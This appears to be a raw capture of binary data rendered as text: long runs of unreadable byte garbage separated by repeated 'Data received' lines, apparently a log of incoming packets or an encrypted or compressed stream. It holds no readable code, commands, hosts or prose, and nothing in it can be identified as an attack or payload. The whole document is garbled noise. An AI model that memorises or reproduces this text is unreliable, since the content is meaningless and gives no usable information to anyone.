þ0)MªIôãÅuYÀ¾ÙÓì(xx!W±Î´g_]µJ°Úbb<¬Ðó×úÔIØÑÜ"Z+ÎÍ$n§½¯@X©Ï[b½Û3ÄÌ¾)Å)·wöî_Þ2¨£ëQµdÿ¥MK«(»íæÆ´n±Ö D+ÕvÛÎL"'¬#]ÏéãÊ6%lÙ Åß¢Ì '3æéSË%tõÁÙêÔNÃ¯gw±ÇµC ²0}ÖÌºðâëÓÅ@éYnÍõ[¨ÝTÎkIkk3½.W¼_@(ûiÏ±! Ð0éÈy¦ï6ÿgæQ]ËûÓA)d^³°RË¡Á4GÕC½±nqÞ('VïüBeÉrO´æ`ÇÌ[G^h(ImgGúï´j¥æSl²¤ÛCªßé åÊIÎD¹eO YZ/Ð· ²Ôí$©?Îw:b´ShüÛ5Riz`=.RnËÿ ¿Þd}cäê7Ô/¸èÓµÎÛxAtXÎòîþÊñI,É¾KY¾âWÛ nc4Ó¸ ÷¯çi5±ªW®î^1äY43ÕÁ_öèÝùÇÈð9.êhôçßzqø pò¹¢Ð5A(îxFI»ËPX^T%Ì¿¸!aþ´ßqò÷Jðkv)Xls$ÜüÍä6÷T ×²Ð ÐS\|Ü¬, Ó®ÆçÆzfSôÇAÝS¡³HÑ8»):HÛ¨Íò$@7YMõò[¾O¼<¡.ÖmKT[a%j§:Ãw³Âwjrï²%B¸Ç:rz 8dÃþmZÃ¼³hkCÇº¶Øpy-©tèbè!Î?p+lºRÂ9 S0ÍKæ^)íÇ(L)@X%p¨`Çwûìõí,¯Aì{¤G«uÖ¼ïÝ)üUÃC¬~Ìc6h·7Ëm¶÷CÿTõ±mñíG;tz9åF5VTÍý¡ä&²BÀÌä1a¿6VgÔoÆhÒÊuÝåêiÅILY+",_/(¢Ðq½Åb<Â«CY^½täkäçë&R®UA®"qÄ¦ëëÝváG!i#aµwºoXQ¼+$bZ×½ qûM"Ùk æy(3OCðf
Data received
Data received	¸0gwa¯¾äãAîl Øö7gõOcT&¤é½Õ{a/ß#ØÈä²¯@JaalRÞû=à³Á4LÚÆÐÖ¨Ndìx\4¾wãéØr ¼å^[I£PÊo¼üîÌKØ7h!F\( ÓS¤D«½¥FÚXpÛÜBi&ïè¸àµÊsÿ\²KØÐ Ë PÔ&QTÑ O< îaÙæ¸mz·`_¯ÊÌ³\|Sý6OrBé´ÌÜM\f;ÒÚ´øñ:cDN;=r b¤MF¸µ¿ÝÂ7¨êmj³n@x{ ÎÿPzR
Data received	ÕQê¿ 7Ë&÷Îl/ÐJ2sS×]vA4pü'ôM\<zIòÝq÷3eH_ÏI°ÿy{øÏfÚFòxrv#Çôü¥t"zÀRÂÃHæÄnb9jÇn=õ7#» ØhýÌtíÎSâ)Ïªá!Û§E#\|å^»¹¯¶X¸öK<o4l8)½µÅäãÇk^û¹q{-Ï¤:~É¯»ËÀF7¼ëgu£µºB½,°ñZÉwTÛÆÈ[ÔzðXbï ZnÙ=]jÝ ¯Ù} ^=ç©\|÷~áÝÛýþçø+v¬)§[Y¥Zøê~6®î{ÏLn¡,ÝUn ³êã/)»¦t¬ácþ<?§.¿_C^ÐG±TihHÃILREø~Hû AÎÒjìã;@yÉ©º\|Ö}ÊõbÎá`Fso:¥õ`iø;)ÂY+°6ù¤ÃË¿]éñwæ öÁä7Ì¡ZÜ(ÙÜ9z%-ÜC¥È¹çéK\|«8l¶ÎsÆ~ÁvÕ¿Ë[àdHú62·VdT]b9ç Pïýt?rÃpÄxu¥CëOp4ï#soÐuü1®&«Xp\=u·QD"õ ÓeÈÒl»xN§MÛÃ,ªµ¸¿"+> ¡µêQùø¬}þúÄ¶! ÿ¨¤¾2b[/§WÁ8În2ãæÜëÏuí¯ð;·æ©Ù?Ì [²î²Ï°ué³j:ü×¢k~ðóÕ)'·&{ùlµ·Õ 6¿:ßùÌvgdX{è.²øÔ_^0£ãÓW,îª\t;<¥ì\|OæÌ·¼PB9é¤~zLH:¦ ©¸ 'Ý[¨F@:Ð`; #÷³'¨PÛ¾Ò÷¦o@ê¢9tóceõ¹q¨1ènþá¦°+±iD³ÔuV²p5ûÙzæçÖÞÐãw®¾,ÊÏ^)V}9ÎEÃxÜï½ü¡3°£½qÛj447y%·)gyÐæÄªª&õsÜ4Jr÷®zÒ3v%Km¬`\áætÚø}÷º¸^jèªí÷Z C¡úTb _¯í}#Ñ{pÏOD âú\ÀõeÕIoÆ,£Â¸w\|¼FþYsQmT,E~©GeËE¸H[?ôìÊ [ÖÖªô1H»ïÇVwlÝ 2l¬°gï7¯S7q(.Q²ËBø5ðþ8ã[Ayæi!1"?$bªçÌrísÈânX\|²°¯Ñ^*ÕÂÉ¥Ó}±Jì&âR{ÊåÆ"ÝòüAø]£íÐÆd0ÎRPDÛO÷u¿\ætÜ¡íÂÔ×(øú»ñÍîvñ+Ô®y^2âçZ76Ý+J¨üºp¹U³^Yý~RPV?]R>7 ×Þ¨?<æ0L³5Oÿ·>Eætà[kÕ3ø:¬´^ó$wè2Un¬IÜeÿô,B½a= KÎÝæ\|éÅ'¤¢7$ÅÙÞCz`ÉzK ÒP¢½áïiÎNÀl97:Oúõ&Ù)hÛÌG1.ð-êÏXýÎºÏ:Öxº>iå8v1áyOsGz °hw¾Ò ÿ¤ðA÷6ÀËèÿ"øLxQ ª^fVU<ÿÞÁSô ÷
Data received	Ö¦ÈukÃ;ä«¸=D[÷ÿÝe¡ô^}a¿iÂW²ªÓX\|ÅÞæð!cñç²a¨S@ÑüÕzöcðs²þVmp²HKÞ¤'çÔ@ØËK¾Û?0ë2ªfÐ^aïxü¶®ë»Ù"Ú4Í(Ò@c{Ü^½ÁÐO¿¡fH¥zZ¡U}1ã-MÚ<l&Ôúm]ÍöõvLê¡IËkªO? IµßEQé´Ý©pº¨0åHÐJ3Pè§ víÊ%ÀÃK<f¥ikõ¶çî~Lócÿ¼!D.³e¹Ù~'ÚèúûI7;ngH:bñ§²´XZ»ÿÚ= êÿs»^#wÔ±Þ·(YYü'JíÁJmjë`e[ßEð×ñ¼(ÖÚ-ØKØÁÒm©Òñ"±4hÛùnl²wË¼ðÈ)ÔÄ ¡±êÍ~fÑ6Ä\|¤(;þ·&Ã¿´X¤38+dÙ.k}15~ìÙr{vñ}c!Ùwß¥Ðeõá.Hå§ØkÙ'¸´`ËòpOê²Öwzþ1mdÏ/þÅ÷È>5âíBcøVîøØ+wÑè å6QõD´gQu´\|â²z²´ªlh¯ÃÉke¯obc? ì^ MPüc¨â ®#K ;&[/ôN[\º¡4§ôË£Ï¾õYRØ\|Ø:ðJºÑ\n©:"1`ÂyÀ%m7÷ðàÉ®¥5AðÍùÝ_¥JÎ%4¤2Ï[êÀçeu°v{1Ycèè×@`Ä@9&U×c³1ì¦þ÷?¯>¦ó[x¬k>OYS%À·×²Í !fb\GÒÚ.ß©UQßòßZ¤±gu.,ýfÐ¶¼Vô]B6fÍÉÉW3ë ÂÑØaÍè·ÍZ Y²¶dD£YI\|¬±r×]Ý4ã×CÞÂm0r£LòCa<!;a¯ëéîÿ¹òÑÌÏdfTfxq°Ìõ%ÊqµI÷H[@¾ü¢â,qÝ¯UÞAÎÁoÝ8H¢àdÁIoF²)·lÏï[¿m¼1\S8}lað ±Áí8triÄÁ_5äBVÚ?Yr¹\¿,~óÛRÔÉ`·ÒIäA`?¡Ö\|¸~^Hº{£Qè1:«ûÕo n×¥FbQìD·aqãeµ-2=hýËtJ#0Ë±ÖçHÅÃò¡áñ«vê üÝ¦^ü?"rÂë'Æ« ôå·©9gä¦Râ4]H<ù,ùÊìÐôÏYê[ã,¯àr´½Û¶°-3^ÉêW>Á7Éùµ?£ m¾^9Úcø3eøã¾þkê<Pú ÜN:@¾S÷°8Mtàc9F@à]ø¼Ç¯@h[«Ëmäûa±G{B!t{\P¦Lx¨qPù_NòÐ_ýõçÃe %gKRJ¯²~%;Ç«P387Ü¾\|À&Jü*Ân'³Í}¡<(¥-=i\(1ëbÆä´8A±%ÁSi=/¾YWímýkÐ±âñhò,-5W±95îj(ÇæÔâ¾bI%daE6.¼Àk£ek§êÙC#$õøÓS iæøÇ,À§és
Data received	ænÍ&Þ¿ùÀ@ß¿öø´$ý9vWÐß/nU!÷¢Ë;4Æ)1â&î¥ o´ÜË¸õVk7Ó¿ùÔcªÅëÇ¾ö7Ñ\fí6ÀJõëÏ£ sé ³®#(aôñF¥¼übù?[Y,vÄó,by8²\\e»ÉJÄà}ß @³ª¹}gÒ´yÿtd5è]âõAügåÁ±óLÃd¼R_j¿ìOþqjßm Ío÷fÀÜ¯ª÷jÂz²ïñYû;}-)í)±Ï¹Ä!îØäÂ&®d¸8åºoä1{÷LInyÔ¼´î#%¨OÔºP÷"&áAÆ>=ä%zþV¸Ú½/Õ^GÎÈáÅ#X`6X+²IÇod¬¾Æd®ëUth !3T#É<. 8#X±Ùî1Rz.Åíjûë´J <dN>tôjÂû-É½Ó¡üÕ):Vî>÷/×uvÃô`<q¬(×=CÁi®¸ÁUÀ`ÞÐ MÅñÒmªÌìéÂ©-ÛhQOUî.x4U"Ò§mp³N@ãwãÆÓêP~dúØ!XûCåS$XlA?ô\Iý³ûÛéç¿lxPsÙÕ~¹±ú>ÎÒ{ý#¼Ra£þqêô$òh ®ëðû§Úh¥lO¤`+?.32T§·`¢£.{×Ðx3áØêÌ¼" °l×¶"$zC£kl J4¯ívZ¼qpå>SGÀk\|ZÒÚq¥AÚÚ[þAWleê¥ÕÐp~\zÏÉ%h9¯ÂO±¿Pdí\|#8`åû;áa\^! ÷ÿéR;}E(K¾MÕ[¯Ð4¹"ùà¬8¹k oa~ác_2WjÈv¬duü ÄÁ¼º\|]ÂÄ®ïÃaá·8m<sûü4«æ3"î¼»/©§Pæ¦ «V@7f¨9¿I#Õ½Òf7Lç93¶ÌÖ0~çu ø/%,\|ÖäÊõ6)<V\|Ayx}b?X¯> ´pÃy»e(îç7È¬ªRÒçÙ&¨$§Þøý«68ÒfâgÍÙ £ ³úÌüÍ£^"áP¼ã`ú·ºo²¶ëãUVÿÕ;:%<o\|Ü`ÑI³ëËô<ä¦àSoo,Uì}¯ff'ù®HëÖÞÔo3Â-4CaÐL°öÏ¸-âêÚkt<I)kÓíò¢=dB³rwNûÃãâ óê«UÕ¹&£NÀÛ=ÐVgð»ÌeþÏA{Pà¯XBzHQºKèjè"HÓ+6RÉ^ûç=Ì$¸)ÒÝ,§øÏP1óúÉ3PåK·&Þ¢ÉÞÐ¯{NÿTg¯ÓZöÌn:Á äA EÙ úÊ¦9ÎÓVÇÌfIz¨®®-NOªî¤Þ¼Èxô-!ÍM8Ù ê)Än¨çn¶lM¹C}mk?9ÆÏýç40·n:·8ºÁÅGÄTæZ=¨¶Ï.þ¢tO³j7þí%éí¸j-t¿ßÚIJ@<¢WlJW)T+Ú%wô÷9» ä?ÇÄÔZÁ^ìõ)Ñ¾VÖ Ä@¹kÒÛðxÞä©Qg~nkÓ7° 0B?QÑ
Data received	bì¿^ÿæ³à}É´ZËýÏ%;<õ lWiµ&ÎêÛÌ(yÕòP?js eD$ÝÇcª` 8Îßs¯ø£z6Á[T[ÕÌ´#ÆÚ 2xÆd£ ðúÚø``e#éüR\óì±.Ð%VæÃ/§kÁÿ.ÁðònèRï2´ãôì¤U8Ìcs3»k¯¸í$uÉv£â8¼èüs=ãµpúë££ Ly Ö5ªAWäq$Ç]¾ HUÝ\|~ø¹ä±koïÌðø[ÿïXk/Æ o¥UèqíÿÝAeÚÜm_:¼GXvâÔ?Àbæµ¦ÓËÐ;"¯òÊø½¥7I¼ðùX\|E ê^xW%ÖY#@ì»íhþ¾}eÊÀÄa(pò¢k®vNØb°ãà´1Ímåp7ïïrEá Ù»¸xX.VÇÍÞTÞ_r-XÓ Á²N¿6¹ñÄ]ªYÀ& ú{àª~9îÇnyÚÒÜ½+jn7:IõHÁ´'Þ¼SÿëB9Æ,F ûR Þô ¿vÈE9ÑÙöW)¾·ÌöÛ xÔçÍÃÔX/Üçe¿çâÒ ¬µ0KÖÝÙóy,ñVÛ+ALZÕ§·:YÍOèi6$E,ÑÜJþÝ,Õ/»s\1æÍõC&ùJÝ`uÄ=¡Òªù,í·vÇF<èPùfIäHfy«öF©ªEè#M_3y4ïPÀ=ª²ÌÌ5õ=¡ØÂÝ!ÓÖêàOHPèóÙFÛ¨¹ñ¹G Õ¬ 3$È]öß`ªøMAÆØ©ÆÞ¥á&êGü÷ëGú?Òêg+ÎÁkÎP,=gËÈdm4Xä2WêYrÜ0¯ pSÅû^Âæ=@³ÜTC¨óoñÌÌÕ½&>cU,õâ«¡Î°[ì_O Í¡¦oÝÄrz÷zØ¶Ç¡ôÏ×ÐÓÇ?ó¯}%ìKòñüÊ¼³ã'>ÏÍB\|Çb0dw×µü7¿±7ó¿ízfáPNìÈ«vdóÄé_T«-û!Ü',!-c(3Ó,q/MÉþiÆ¢Pè¤©:î»«åä]PÇßÛå±3MõÈ#èëC,AÒ'¥[lf>A·PYé^ãî©XDºå½7ë¢Ú¢kPÄ"ÓCôyî+wWÍ¦ÄÙy#°õcSÔB-\|_(ßÂ[í Ö¿ª¡Ï@a¹Å\/zy3,[vÌÆf#P[5G°(±©ÞÀ[ÿSª¯ò^ÀÈ Ãª<üiiØn7¯ÞqaU,Qqlc«û«E]Å!/æ¶ôCóPõÑß¶t.´ÆgP FÎÆ ËD§(ûDËå#·Øy¯õR\|F?²Vÿ»Ø[}%#ºi 1Ajùh¸{dEÂd2j%§åìo"dà³æ¯¦ÿÐw6Á¸t2©pþu!ù×äÃ]¨<P.ìþö¥ª#O×Ù,h±P xDso@W¿:ö®UöÚGìú°æk]pl=ÛÊÑÄgFªýì-ãÚêhuOæ@¥÷²hêO)3[7Ùý rÙo¬ D§3ÂóÛ3
Data received	&`/5(bÙöHí¬^;½[Ú=9;þmÈÇU¥m'Y¸¨ÑµpÀ(¡]wÉØ{CË÷Ý×êûÕðäem°S,NÃòLêÛôÜ´w¹§4Ó£XÅÝír\|h?Kêwt`§\Ýúï4òq6ÞQ²mXrÍÞhy6IçLþ{%Ê¨!\|ª¶óãX+± ílnñöSÚs[¹":ÇÆÔ[w«lÞ[8¼¶÷(vÖ«VbíË"4d^äf½ÐIéG])yrKÇèW::~\GÏdºc.}ù=BCh±BãÃ:Þ¤ò(ÚÆ,'pº9pµyò»±lWÇ;ÈÒxÊè@«¢ æ?:ÝuK@GÀ× þE±×cú;"<eï¹þ©/´á§-5Ú ÜÙÐ·ª4~}±³ò:ÆÖtÞëóFù;¾2Ù$¸ä¬Ë²:P:]Ü¼¦ûØã¶Ñ¯¹§3HÂ`pP÷ì^0eç{éßä¡&{h¯ã«W@Y«M¼ à²ÐÀåo´gv4î~ìd½~o×,ÃêÅ10öq%¡{.? ÍRÏmp3¹0G5í¿ý³ÿJ¹# Ö»bÜ0oÂKÅ»8Ââ!\| ìÁúÎõ7c3/´Ûáøù'ð[+Õo]ßa:(²v¡qÀNJ¯ùUaeÃ³@÷îc5ýpOH`{9Ø;àTÔ ¤ÈO¼</ÕùØâ«t~`cã8)r2Æ±±\&>xP²Çf±ð µ³£s3.ßÔ¬;kZuÅÛKãgF¯¬¢þèdª$åÆÖ\|PÄÚíàÅj]ª¬ÔqÌÈÝ÷c½À'`Ö?I×"YÆ¤K £ìäq½ôX+á~Ø_³ßf§¦¯H·EZ&Ü; KµêNôµ/GOÈÒXë<xäû¨db¸ëv±{ô"MåäÊÎÛGòôC 90ÒEíÐZ ¤]pc»Å~²øM¦GWGC 9muºÜ4Xô:úiðrL´Î'C\ÛByßW+)Hf¨ÍÁ#ÍCæ^ GÞÚL³ó£3/¶RÖ"\|0p$æ¹¼ÄÝy'A»3pkMÅ¾ãUcß¡SKÖ>à®qG.âF{ÈöèÕØås;@S¢vú¥¬a¾ÁÈà^Tbwì\|ÂvÕáxÈûøu}<0äÊn×wUÒ¼þZÕaÂÚP÷ø6Üf°ß[ì½áK¸Tv'P=S$>ÿíÄ¶ÍP6WþÝ9mBKsÊÞQzJùa¯Õ¹MÎâP=eAOÇe°(Ñ'M4òÂ)ÌÛà¤~¬óu(4XÙJk 9X,Hõ04÷h½3TcGü6ù§1w¹)Ó>Yö~p¸bä$Î÷ýò6¨cñÈ!ÚU¨$ÿ íý ¦:ê*ÅAmfÉ¡UrVÏGä·ÓöSþÔþ'Å^@ Ù¿ãäÜM»zÅeÙb}ÐyóæáïXÍ¤®MµLÖ¸é }Zù×-ÑâÜJgsªÜÆ1lÝÓ«¦¸·¤îª{Wã (789¹`Uâo²C/oIÎ¢¾lÙH·íB7ên\,óJÛÉ9#5Øür®»ÛBAéímW
Data received	`
Data received	Z_M£é\|à&s0;Tl¯r®-hÀy¢¤qæÔzõ=g¨jKRu3ø£$xSVbXÖ«èÈb¢hÁXôÂþïS¯z^ïU3âG¶RÍjlaçEñÆLüÜ'Ùn¤à¿¿vkSõEYZ/Ìie/~-8±Í%É}di¦ËºC£ä Ém©ÃJÛß«ÖQOÊ21¡¤4Q½RY÷0=ºþE3ÐÃg µäö:O´R±å»Á1d¸ùA?þt©à©kyøªî©;¿Y¨òñ§2°Ñ¢Y\2zjïÐ$ª ÚÿXj qªÀ%¡ù¨r M^`NóôÀéQ`~MyÁ;ç¼ÔPû ¬¬s;ÂxÙÖqÁq¤Z]¯M]è\|çö±Y`{êiÝØ·u[8íE'gÉÑg>ÎP] é-}³lbtÀÙÿHÚy!1 ê.Kjýï~;Kf+Í»Ï8£tÇÊÃ,o½åäìà«µÔìØõ©WXê¦¨Ôo5\|;ëæ½9ñëäáÃÄ»OHØÇâ6üáËq.².¶àvêû:$%±j>OxÏîxáw·»i¢r¿µ#:²l»T½Û)í«¬ ª"=Ë ¡_%¶¦·wAmÀ0SÄ¬q\|Æ½¤\9Bá4³Íbg)qkdÊ7H³ÐÚÆÑ;»ÞçlWÈÀ×¿¿H@~®vÀÖ ÕÓ'Þ¡Ô[ÚúyOÍ3>ýïiÂ9áÃh bsIB3q+²Àw/Ô·,/lIÜzÛFÁåÕõêQElÔ#¢ÔþÐ%µY@mC 3i¹Qh ¬b¤HJ¦¡ÖfUÒU¹»PÕÄMÄK·Þ3 æ.$;î\|j](ÕYB<4üÊGCIýu:¯;mn]jág<çì£å]ñq*½êù(×ùQËý1ÛCFà7cÎõö~v\'²øºçÍùñ7"¿æ×é>ÕàFö+wÆõªâ¶Ét½ý 5¤gP\|Í¯bë¨]K´å³bzò8e®=üskëíü6$[¿N÷MoèÙ=ÊJb 5Ðr¡@Uö;uÊ?Xê+aoäã»î¯:'-?IÖyöËr¾]¯iÎÐ« íg,AogÛOç=tûÎËÚ³ÖkÎEnÊ~äyZ;÷çºt8¯¼¬2ýÐà 5[HFm;ßZØcêðç)ÜíYÈ'Ô)¥ágÉõ¤Ò°ctþEÞí16!\IW<,´¢ûÇ\|ÌÅ©uÌê0·³Jñxó;µ0u¶½ëóôðÉµñþï>ç]ÜrPT·Mã8}dÐ÷òôO¹ÕVðÌÇjÄe8º~µä[ám(NïjæGT6Ï³ï¡áæNØôe}ÛyÊ}î¬¯É2I=É%o&X'>ç,»+ÏbÊ¾Zf³Me]f3lÜEKµÄ6ÖA¬9ÞÈ&OP²åÕêßþ'\y'#>61M)3:aÀ"Æ%÷Êî7xöÁÎDw¬ÑÍÕÂÅÀ´)¾+E+ Tpù·Qª?p9¼1Qeê>iùWk»Y0ì¨_U'T7 ðõÕµkòz³vZ
Data received	µÉby(y»xù£ÖkpQâÆøß×¦ôHpºùGÞÍx4=PórÎ8¸n\|Á]ÓÜ¡^÷o¼NÄáÜô¯-·=~&C¨%µêÙiQ$$ç>7Ó&1ÃÿdD/3>[¤-@Ñ.YhÄuhÜ»AÊé;MPqÏ"@¤!Í¢§6³ò/ûgñ]~Ó¨Oâ+´fÞA¢ç ð¨#8aÚ!îÀ'û³xY&g³»i~ÁÂ²<'¢¤0°"i½b^ÿÔNÄ¸T$MþôE°6ÝÜõí&¼Wn<ait¶¡£;ÆO»æ´ýTÄòÕöj`î}KÅµ6ümöêÏ¾G$ÝY¨~·ECèKT}µjåxpÝêð%ïã6g$ðGs¸Vhåkaà=»ûTû¥Õ}S+å^#Â~U1¥#½5×MU¸¼Ú4ÝÇ·?bÍÂÓèã³aÀ^ÅØq:¯Öá2¥ùäèîÖÔ[i ´}%£ÖNõ>AY)ÓjlF»1½Ó ×ÞâÎÉîö!t9ôÿ¸¬ljò^ç:Ù^X7¾UZyÐl:ÎÀu Ø¸V(øUúOÀfnu9ØñÜLÒdXGcç»4Ö7a7UXÁÞ÷Þ¾ìA$.¬ Ö' ¦ >jÝ0Ë²ÿ;MÔ< P¯«;æUEA)ÀIuSVG=.ºô=îd%U(^º.q27cµH.äÀæÒ¶0ÙÛ]]Ç98Øþ}¤Íóö¼úV;=qµòí"^Gñé¡Óù"ó?÷:2Xü§H¾mÌE)ß6kûNHvFXêBXÓE'X[Ûl2uãYOT¬ùÄû3`kÓDÎ$(÷9w ÊË¡%ÉtGÝ?ÞÃW´[¿¤wUééûpÈïõ«¯ª¯¸{Åç@õe÷£â}«a3ª[<×J¶>~hÍkDuÊouS®<¤Óvû¸SdÈ~è'É -m=Np,ÜM!0îTéçß:@ÝCÓ¸+j[5É3"°×³.¦ç û¡ÛTÂ# çü; [S1Ù©1õ÷G jN4¬Ê©® ýiöß9`ÕI¦OýÖZqQíaaÑÇyÇ]¹o_['«¨Ò8êûÄñ¶ýetpúKôÚl+â5Ç],÷CìÕÛÐ©ªdFu@ ÓT`Ø;?ÿZ·Ö¸(54²m2Æ^C Z\MÚËÙÒ'V8hK/Ü³×#`] ûäJ4!6º:`é¶÷ôk¢Ì¦4fXèòõ¢hÐOÜTRzÎJæJÍVþËd¨§ðcþcâ&eê,îý6×ÒÆaó;ìàxß±½U·£àhV£ §¸R¦peFdéF^¿Ãåùw[ ªØÆó'#í¨?LÒ´²4ÆÍÜGnµ38Î¸K.J¼3Ìj£º«ïÄ¬¹ÂliÐé&:v({k cÌ ªç÷åÖªFrùG»$WoÕåòûCz¹Äs¤LÜëóøÝè}Â´rÌá#áÄjº»Z¾Ñ\|':IÛâ*zlN}ÍG.Á]CÙÓCÀ(ZvæÄ¾ÏÍ·ã] Ï ¼junK±ÞÊEkgýj]a #¥M)m]{ûy:<#UBÇÇ±¬²ÂB«ìpxÃs÷¿>ï!
Data received	`Ê×d4°ápÃí½Y@tdM6¬LÏ ukèÑã)-dÐÜÿ¼<ÒQü0Õ¹ÜÔn6fA¯1íÚèÕ7k'æZD³¸ðÆQK»ùzI ~¬Î@ _í}Yó¢+rFB"§U5ÖJ±P32w"Mõ²ÓÜ®ÛE¢1¾}Ó Åö¿r ùiÛ0<QLDÃM³8³j ^ Ø3¡xwg¼ÙÔÄ8Rë0þæÙFdÌºfïîÂ+R£çEXÞ"ì ½vk$+j È06f`«¶òD@º[úÑxYðRm©dý`áJÅ)ÎåÃÓ.ãÐðÝár¤½¨ At]¾¤£øãÑÄîF¹1¯¡sY£¶Â K&¸Ú³ña>.XGzÜ¥A®1-;Ñ¢Rl¦_Îý~ &U£& +æêmLÝ þ$=@þBÕßûxÍo®rR_¢cr±v~`âkßqüAöÁ¿7x¶¾3¬ËÆÆÂö]IÊÃã:ÞíäÎÿÜÇâ$V{+uhBymýæ>\|¨¯«o¤Ä/U×.þÅ%FLZfÊs Û )ô XsÓ6SÊcõÙª #s°y/Kµ»Èé]oÍâDÊ3ÚBE¯,àÑ¼µ,Dsày«È6PZKðØ1Ø¾®ªßÝ¢ÿEØ1qÍ/B>Hös/ç·ÁwÍDÚÖÕmHà3T´¸·¾%9·î-uÐyVþ¶Ñr.ÂQMôÄFg1O\×äC¨;ÕÑëô»¢ $yJnê¿©7³ûÅ! A2ó]µ«)·åW±ñ6+µuþíË(!¿à²²áJ¢^{XÃf0Uµ= é%ã?U. Î3G£2e4Ñ;ldrøü=ñz¦mæ&ÛLº}ûFÌí#/KÁ!/ºÐmA7ðÀ> %uzùÊHxÙµõad®äünuªLeDÖÔn4u5Ñ&vh10÷N&XÎÕÎqçòÉ2úh·[îÄû:¬Ï¶Â©Öáh¤xD±4soÎÈOYw@4Ù\|^qq2óVlº_ÿÿìµÑÝu·#m¨W9#ml$ÜË_dÚWßp\|\úp¤©!ì`îÜ'îÁîÂ+¤i^épnkgî¨EÃVRÓZjMøkx+FÙ&éÚ[Ïíb:Æls¡³úrÁ¯»>:¹^ïõ¶Êcµj-íK£`:º SBxü¾n0i#©^ìFxøE¥æ´³Z(ÝÁÒ[è07þ¿¡@çG"µtxTÞ{÷XÃ+ ÷5þJeÈ÷Nø%0©E¡¶î /ilÉÖ3¢P¬pm¨ßèöÉèW5_Ù{_®øJÙgAü'¢Äábzi¹Ø¸5í" 1ôU{/zìx;;ðÙî÷ýqÈûÌ´ôèê;i=ÌE\¾}l°°³Hr3þ"C¦rv"I}bh2`dyÈì2ì¹kãÇ Á\ªMd@äìÚôI²Eê2Ù¿¡W`c4ÌÀî-+)ýÏ9rÇ^tÅ0çaæ>8ì>uóõoBaI§!Z½ç¦ïÌ¬Ja
Data received	Ê[IÎî?¹ÎKQJ/yù\;%´Zjv&éYl·ögÒGõêö&/W^;\|qÍÛÛgôÌ;wÃÓz ³KQ ªek¢Ë]{x,eÁÎàÃK4ª9ºPÊî¹òi À)}úë<»À°è¦¦Ýx°§LÍ×;>:¯ "õ$Ý´ð`G?¶þ>$À¶»:×Êúÿ³ _ó÷½~ÿÂÔZè¹Ö 4Ì>í,ýò$AülÅÕox4s?'X·ÕÑáàÈ9À^s?rÚÿÀ%ÒÃ't¿ÂOÔ[Â¶èòl_6 ìÈ3rRIä¤E ,W3µÚË$:î¾ísU!¦û"7÷Û ÑâûÿZ2ò+ö89ß{Ûó=Ýö2iZÜZóV¾ãý³$õ3?»ìz¬`ù¤ûc +¡5NÆY\ïHïu 2ÅÅÉ¼,Yt'Aioâv³ÐP³ø7ÏLA`<34ÝG ïª VÎmådEñzY%"ñ¥IÖ#\Ibîb&*éØ¤%°"z÷tôã¤õNä²EÐAøh >-á?>ÄÛY XyÈDµ;WýÚÑì¬DRbè§Ï¯Jlûî P?ü=)zMèÏ³Sn´7H-IyuxvdAG_Ã.VÙöw]¨àßZK¤"%RËØÖ¾¨ó«olØ©Óx¦)\|44ÿd»}°3E&= Ç´£6£âÌ!uB¬àRqEZé¿û»p g\|Ë64î½ëY=ÇCé&.P:¦çíS#³H¨ëÚ3 Ï³'{)õ ãÈ¬§ÛÅÜéh«ï{F¹®ÿ"-ë3óMTã&@ÍúErprÏBþ¾Ó^ß6^¡ïè ²ØýwP$Úo.hè÷fÔ`~ÖÐJð³§T¦¸ÿ7¤§«w)÷Ìøòî=,u(±êl\|cûºë!~Ehìýsù<Rvß4ê0ÃBÛ2ÁNgÅâE5Ã:WÝIiV1YsQ;E@QÒJW2!ïðbêþNè]<Òg¸´"¦¤#@ó;ìóqPV©ZÖ3G;ÃÖA£+Ö¶ªöçÊb&jk±,w_ ¿®ÂÄÝAvæ>\8o[K(ã476 Ô)n¾KêPìyg0H©L!R¼Ïo5Î)¾Ý`ËÜÜöä= °ùÛ³b vgßz+¨xV'èû·ñ¿û(5K6ûáQ§Fh·ïjmÉ5ï8½eÉ=Ë8}ÞbTg:ÉÚÄýºñüÕ~÷òöÒê]@qä³+v-Kí´9hÊÎ#GNåºÀóõ^`i±úµ5=zbù¡älF´§µJc\|?%4tr^ÐÏ)F#p¶±WÃ4m¥Õ]4¢oÒgjËI\|ûW6.÷/)9bã§¸dSCs1zsx/X:ûÅõ3 /?«én)Gÿ²FÍ=©wY´æ¡`Ø¿7Ù)ñúqÂiÎDvJ^ÂJºu0âÜÐ¥ÝèlÎ ×¥k=;N+¡qÝ¨cÃÀ«2;ò±ÊX`»eìÆbw² ¥þÃe#© ÎÜïhK·Å¥à>~´dYéüT¿8nÏ.98
Data received	ìÉvÙÚÃTps%»ñ&W\§õ>Ïª:Y©^Q@Þ5WVæ¼rðÃk2tgÙÛ¯¶ÏKµ~(lòÌ'#ïmÂô[iðKýAÓô&&j1F÷êgckäcówZ²¹Gfê¦·Í×?yÀ\|Õ9æÏGU¼Ni2k5&÷1gÇÊ³ãÎ¤2lðRÔjQÁFX"n &´F.ûï)îa©rWéÕ~æ48÷·òÅOR>³ªÙËÈs1Ð÷E)7oxDäHàW/×17,9Y{/-Õ}sI6?Â [Dvñá9# ò×þ%Àâ[w1&=¢¯e4¿è7 ÝÑMVFbtçÁMà÷æ9ERM¡ÐôkC0¯×iñ²¹"UzÚøÞC7´NX6;ÄÚøgÃJOdf¬èXxâOåRôt»cê,n¥r'>ÈàP`þ(úg,àbêGn[AßV>¹éÜèõßN$ ÇO¼EGñQúl³ï?¹ÔË«^â--·bz2MÐ¯wâÌÎRóÑ¾æïºa±ý3fìÌØw<Y¾ÉçµÔ{[ÕÖÈs ´N¤§r^e«2ÍÐdB³Q p^(ý¥ô{{Uã cZC\}.[î'E Áèó·nâæÈ/YayxÕ.äqæ~ ÊÐ ¢?ÞÅbÓ_d,W0¹êcAtsë·~ÐíÅbÉ0sÒõiéÃdÕF×ÆSÍïTä,Ðýè&ÚÁv%[5~8¿ØKXÐ4ÁË}°ááðûfZÃº'Ã"Âj^?nN`^fpæsÁÝÃ-\¼UUìçW?ùt guAOÄ¼¡'öîÅ®'cÍ°¾C>²DqÖ3zú\wh¶Btþ/a÷9æe5äÔ¥º¢ÙwDþ·ê´Ò\|u;Zò;=©AÒá&Ù}¶MÕ®3ös°¿f¤z¶)ß¼8¦`!á÷wÇ9.vÓ6c<øíÒÅ)0ÝàRÊÒò,t®bÀÌüopÔbdº9C]ÎVÊË:ò,â3Á>æbÂm8ýS,vÆ±·o´àÃNÈX}ZÅÄ/"ðL´'ZÕ®ÐÌ»îÌÑ 